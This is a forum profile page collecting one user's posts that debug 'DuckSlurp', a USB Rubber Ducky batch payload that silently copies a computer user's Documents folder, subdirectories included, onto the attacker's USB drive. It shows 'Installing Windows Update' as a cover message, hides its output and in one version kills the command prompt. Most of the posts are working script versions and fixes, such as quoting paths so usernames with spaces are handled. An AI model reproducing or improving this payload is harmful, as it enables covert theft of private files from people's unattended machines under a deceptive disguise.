Jump to content

B-rant

Active Members
  • Posts

    5
  • Joined

  • Last visited

Posts posted by B-rant

  1. Ok so I tried changing the batch file so that it works with two word user names and also copy's sub directories in their documents as well, don't know if that's useful or not.

    @echo off
    @echo Installing Windows Update
    set destination=%~d0\DuckSlurp\%COMPUTERNAME%
    mkdir %destination%

    if Exist "%USERPROFILE%\Documents" (
    xcopy /S "%USERPROFILE%\Documents" %destination% >>nul
    )

    @cls
    @exit

  2. Hey I figured it out, my friend told me that it's because I have a space in my username. He was right, this works (xcopy "%USERPROFILE%\Documents\test.txt" "%USERPROFILE%\Desktop\") but this does not work (xcopy %USERPROFILE%\Documents\test.txt %USERPROFILE%\Desktop\) it needs the quotes to work.

    So, that is probably something you might want to change just incase you run into a computer with a two word user name.

    Thanks for the help.


  3. Sorry, I should have been clearer. By default, windows hides the extension on files that it recognises. That means that the test.txt file in your documents is actually test.txt.txt. (It adds the .txt automatically).

    So rename the file in your documents so that it just says "test", rather than "test.txt".

    Xcopy shouldn't need any more parameters than that, so try in a command prompt,

    xcopy %USERPROFILE%\Documents\test.txt %USERPROFILE%\Desktop\

    Which SHOULD copy test.txt to your desktop.

    Hey, thanks for your help by the way.

    I tried this in both Command Prompt and Powershell and both did not work. I really have no idea what is going wrong, but it is weird that powershell said it could not find the file.

    Here is a picture of what happened.

    http://puu.sh/4o4rP.PNG

  4. Make a new DuckSlurp.bat file and paste this into it:

    @echo off
    set destination=%~d0\DuckSlurp\%COMPUTERNAME%
    mkdir %destination%
    
    if Exist %USERPROFILE%\Documents (
    xcopy %USERPROFILE%\Documents\test.txt %destination% >>nul
    )
    
    @cls
    taskkill /f /IM cmd.exe
    @exit
    

    Make a text file in your documents called "test.txt". It seems that the DuckyWait.bat script is running fine as it's actually calling the right file on the USB, so just run this script (the one above) normally (not with the Ducky). This is the actual script from my personal setup, so I can confirm it works fine.

    If this works, then just change the line

    xcopy %USERPROFILE%\Documents\test.txt %destination% >>nul
    

    to

    xcopy %USERPROFILE%\Documents\* %destination% >>nul
    

    and it should copy over everything in documents. (The * is also called a 'wildcard' means everything in the directory)

    Hey,

    I did just that, and it still does not seem to work.

    Here is a picture of what I did to confirm that I did it all correctly. I did add the wait to see what it was saying but with or without it, it does not seem to work.

    http://puu.sh/4nlp0.PNG

  5. Hey,

    I'm kinda a newbie and am having some issue getting this to work on my computer. I got everything to work on the Ducky just fine, it creates the file that waits for the flashdrive named DUCKY and runs the batch file. However, when the batch file runs all it does is create a folder called my computers name. It does not copy My Documents into the folder infact, the folder stays empty. I did not know what to do so I put a timeout in the batch file at the end of the code and ran it without the invis file to see what it did. This is what it said in the command prompt:

    Installing Windows Update

    Invalid number of parameters

    Then after the timeout, it closed.

    Not sure what is wrong but thought I would ask because its probably a very simple fix.

×
×
  • Create New...